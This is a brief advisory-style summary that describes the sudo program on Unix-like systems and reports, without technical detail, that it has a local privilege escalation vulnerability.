Summary
sudo (superuser do) is a program in Unix, Linux, and similar operating systems such as Mac OS X that allows users to run programs in the guise of another user (normally in the guise of the system's superuser).

sudo has been found to be vulnerable to local privilege escalation vulnerability that allows local attackers to gain elevated privileges.
